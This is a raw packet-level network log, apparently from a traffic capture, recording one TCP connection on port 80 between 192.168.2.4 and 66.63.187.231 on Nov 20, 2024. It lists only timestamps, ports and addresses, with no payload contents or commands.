Nov 20, 2024 10:57:05.968729019 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.968841076 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.968841076 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.969229937 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.969247103 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.969299078 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.969299078 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.969901085 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.969917059 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.969949007 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.970014095 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.970662117 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.970679045 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.970715046 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.970729113 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.971225023 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.971240044 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.971350908 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.971812963 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.971831083 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.971847057 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.971890926 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.971890926 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.971908092 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.972661018 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.972678900 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.972728968 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.972729921 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.973326921 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.973342896 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.973356962 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.973397970 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.973397970 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.974020958 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.974039078 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.974071980 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.974134922 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.974775076 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.974791050 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.974843025 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.974843025 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.975522995 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.975539923 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.975591898 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.975591898 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.976524115 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.976541996 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.976557016 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.976583004 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.976613045 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.977169037 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.977185965 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.977241993 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.977241993 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.977814913 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.977834940 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.977885008 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.977885008 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.978640079 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.978657007 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.978696108 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.978709936 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.979404926 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.979422092 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.979435921 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.979464054 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.979482889 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.980164051 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.980181932 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.980216980 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.980290890 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.980974913 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.980992079 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.981046915 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.981046915 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.981553078 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.981570005 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.981618881 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.981618881 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.982371092 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.982389927 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.982426882 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.982441902 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.983076096 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.983093977 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.983108997 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.983127117 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.983158112 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.983195066 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.983792067 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.983808994 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.983824015 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.983866930 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.983866930 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.984878063 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.984895945 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.984910965 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.984962940 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.984962940 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.985882998 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.985901117 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.985915899 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.985930920 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.985955954 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.985991001 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.985991001 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.986975908 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.986991882 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.987008095 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.987050056 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.987050056 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.987068892 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.988133907 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.988149881 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.988166094 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.988189936 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.988198996 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.989027023 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.989046097 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.989059925 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.989077091 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.989114046 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.989114046 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.989218950 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.990145922 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.990161896 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.990178108 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.990216970 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.990216970 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.991158962 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.991177082 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:05.991205931 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:05.991332054 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.058917999 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.059029102 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.059045076 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.059192896 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.059192896 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.059192896 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.059506893 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.059524059 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.059578896 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.059578896 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.060225964 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.060240984 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.060256958 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.060300112 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.060327053 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.103049994 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.103173018 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.103189945 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.103218079 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.103243113 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.103332043 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.103791952 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.103809118 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.103847980 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.103859901 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.104383945 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.104399920 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.104449034 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.104449034 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.104859114 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.104873896 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.104887962 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.104914904 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.104926109 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.105916023 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.106018066 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.106076956 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.106092930 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.106108904 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.106142044 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.106142044 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.106169939 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.107022047 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.107094049 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.107181072 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.107197046 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.107233047 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.107247114 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.108452082 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.108505964 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.108592033 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.108608961 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.108649015 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.108696938 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.109580994 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.109596968 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.109611988 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.109627962 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.109637976 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.109678984 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.109678984 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.110301971 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.110318899 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.110333920 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.110374928 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.110374928 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.111339092 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.111355066 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.111368895 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.111386061 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.111392021 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.111495972 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.112157106 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.112174034 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.112288952 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.112293959 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.112349987 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.113274097 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.113291025 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.113306046 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.113343000 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.113390923 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.114356041 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.114372969 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.114388943 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.114404917 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.114423990 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.114439011 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.114463091 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.115302086 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.115365028 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.115462065 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.115613937 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.116324902 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.116383076 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.116782904 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.116800070 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.116837025 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.116853952 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.117695093 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.117712021 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.117727041 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.117738008 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.117763042 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.117783070 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.118632078 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.118649006 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.118688107 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.118700981 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.119410038 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.119426012 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.119472027 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.119530916 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.120409966 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.120426893 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.120482922 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.120482922 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.121062040 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.121078968 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.121134043 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.121143103 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.121205091 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.121222019 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.121263981 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.121263981 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.122179031 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.122195959 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.122212887 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.122250080 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.122250080 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.122318983 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.123116970 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.123133898 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.123150110 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.123208046 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.123208046 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.124305010 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.124404907 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.124449968 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.124468088 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.124483109 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.124520063 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.124520063 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.124543905 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.133893013 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.133913994 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.133929968 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.133948088 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.133963108 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.133977890 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.133994102 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.134007931 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.134023905 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.134038925 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.134047985 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.134047985 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.134053946 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.134068966 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.134083986 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.134090900 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.134090900 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.134100914 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.134116888 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.134130955 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.134145975 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.134150028 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.134150028 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.134161949 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.134176970 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.134181023 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.134192944 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.134207010 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.134222031 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.134227991 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.134227991 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.134238005 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.134253979 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.134265900 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.134269953 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.134285927 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.134299994 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.134299994 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.134300947 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.134357929 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.134357929 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.156872034 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.156927109 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.156948090 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.156966925 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.156991959 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.157058954 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.157382011 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.157421112 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.157444954 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.157488108 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.158075094 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.158111095 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.158143997 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.158170938 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.158735037 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.158797026 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.158898115 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.158935070 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.158988953 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.158988953 CET	49730	80	192.168.2.4	66.63.187.231
Nov 20, 2024 10:57:06.159877062 CET	80	49730	66.63.187.231	192.168.2.4
Nov 20, 2024 10:57:06.159912109 CET	80	49730	66.63.187.231	192.168.2.4
